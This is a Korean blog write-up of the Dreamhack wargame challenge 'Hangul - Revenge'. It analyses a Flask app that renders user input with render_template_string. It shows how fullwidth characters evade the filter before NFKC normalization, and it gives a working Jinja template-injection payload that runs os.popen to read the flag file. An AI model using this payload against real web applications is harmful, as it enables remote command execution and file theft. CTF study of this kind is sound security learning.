Hangul - Revenge

2026. 2. 19. 17:59·Dreamhack 워게임/Lv.1
반응형

문제설명

Hangul 문제의 언인텐 취약점을 수정하였습니다.

플래그 파일은 /home/hangul/flag에 있습니다.

플래그의 형식은 WaRP{...}입니다.


코드분석

@app.route("/", methods=["GET", "POST"])
def index():
    message = ""
    if request.method == "POST":
        message = request.form["message"]
        if re.search("[a-zA-Z]", message):
            message = "한글을 사용합시다!"
        for i in "!@#$%^&*=;,<>?1234567890":
            if i in message:
                message = "해킹을 하지 맙시다!"
        message = unicodedata.normalize("NFKC", message)    # for normalize Windows and Mac Hangul implementation
    return render_template_string('''
        <form method="POST">
            입력: <input type="text" name="message">
            <input type="submit">
        </form>
        <p>출력:</p>
        <div>%s</div>
    ''' % message)
  • 메시지를 사용자로부터 입력받음
  • message 안에 영문자(소문자, 대문자) 넣을 시 '한글을 사용합시다' 출력
  • message는 !@#$%^&*=;,<>?1234567890 가 있으면 해킹을 하지 맙시다 라는 문구 출력
  • message는 유니코드 정규화(NFKC)해서 다시 message로 입력
  • %s 자리에 사용자가 입력한 message 삽입 / 완성된 문자열을 템플릿으로 실행해 HTML 응답 생성

취약점 분석

  • 사용자가 입력한 message가 그대로 삽입됨
    문자열을 템플릿으로 반환함 → {{ ... }} 같은 문구는 코드로 실행함

익스플로잇

필터링 검사를 정규화 이전에 한다.

 

전각 문자를 사용해 필터링을 우회한다.

{{ ... }}

 

NFKC 후 {{ ... }} 으로 변환. 서버가 정규화하면서 Jinja 문법으로 복원하게 함

cycler.__init__.__globals__.os.popen('cat /home/hangul/flag').read()

명령 실행 결과를 문자열로 받아 템플릿으로 출력시키기 위해 코드 작성

 

따라서 총 페이로드는

{{ cycler.__init__.__globals__.os.popen('cat /home/hangul/flag 2>&1').read() }}
  • 전각 문자를 사용해 필터링을 우회하고 NFKC 후 전각문자들을 우리가 알던 코드로 변환해 원하는 페이로드를 작성

전각 문자

: 문자 1개가 두 칸 폭을 차지하도록 만든 문자 형태

반각 → 우리가 보통 쓰는 영문/숫자/기호 ex) A 1 !

전각 → 모양이 더 넓고, 같은 글자라도 폭이 큼 ex)A 1 !

겉보기엔 비슷하지만 컴퓨터 입장에서는 다른 문자로 해석함!

 

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

Test Your Luck  (0) 2026.02.19
My Best Friend  (0) 2026.02.19
Ctrl-C  (0) 2026.02.19
Pearfect Markdown  (0) 2026.02.15
Simple Note Manager  (0) 2026.02.15
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • Test Your Luck
  • My Best Friend
  • Ctrl-C
  • Pearfect Markdown
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    hacking
    web
    CSRF
    JavaScript
    DreamHack
    xss
    webstudy
    cve
    드림핵
    alpacahack
    LLM
    webhacking
    JS
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Hangul - Revenge
상단으로

티스토리툴바